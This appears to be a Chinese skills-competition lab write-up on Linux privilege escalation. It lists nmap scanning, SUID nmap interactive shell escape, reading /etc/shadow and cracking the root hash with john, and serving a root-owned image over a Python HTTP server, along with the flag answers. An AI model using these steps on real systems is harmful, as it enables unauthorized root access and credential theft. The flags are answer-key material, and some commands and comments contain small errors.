Linux系统深入提权
任务环境说明：
- 服务器场景：Server2202（关闭链接）
- 用户名：hacker密码：123456
1. 使用深入机对服务器信息收集，并将服务器中SSH服务端口号作为flag提交；
nmap -p- -sV -T4 -n 靶机IP # -p- 全部端口 # -sV 版本探测 # -T4 针对TCP端口禁止动态扫描延迟超过10ms # -n 不做DNS解析
lag: 22/tcp
2. 使用深入机对服务器信息收集，并将服务器中主机名称作为flag提交；
uname -a # 输出操作系统信息
lag: Kiowizity
3. 使用深入机对服务器信息收集，并将服务器中系统内核版本作为flag提交；
uname -a # 输出操作系统信息
flag: 3.13.0-45-generic
4. 使用深入机对服务器管理员提权，并将服务器中root目录下的文本内容作为flag提交；
ls /root cat /root/adftutij.txt
flag: hyjufk983
5. 使用深入机对服务器管理员提权，并将服务器中root的密码作为flag提交；
find / -perm -u=s -type f 2>/dev/null # find 查找命令 # / 从根目录开始 # -perm 查找权限 # -u=s 有suid权限的文件 # -type 文件类型 # -f 普通文件 # 2 标准错误输出 # > 输 # /dev/null 空设备文件
nmap --interactive # 进入nmap交互模式 !sh # 执行sh id # 查看id cat /etc/shadow # shadow 文件保存密码
vim hash # 把root信息行写入进去 cat hash # 查看是否赋值成功 john hash # 破解hash
flag: 0987654321
6. 使用深入机对服务器管理员提权，并将服务器中root目录下的图片内容作为flag提交。
pwd # 查看当前目录 copy /root/flag.jpg flag.jpg # 复制过来 python -m SimpleHTTPServer 8080 # 在8080端口开启一个HTTP服务
注意一定要加:8080 指定HTTP端口
flag: 2022_year_Skill_competition
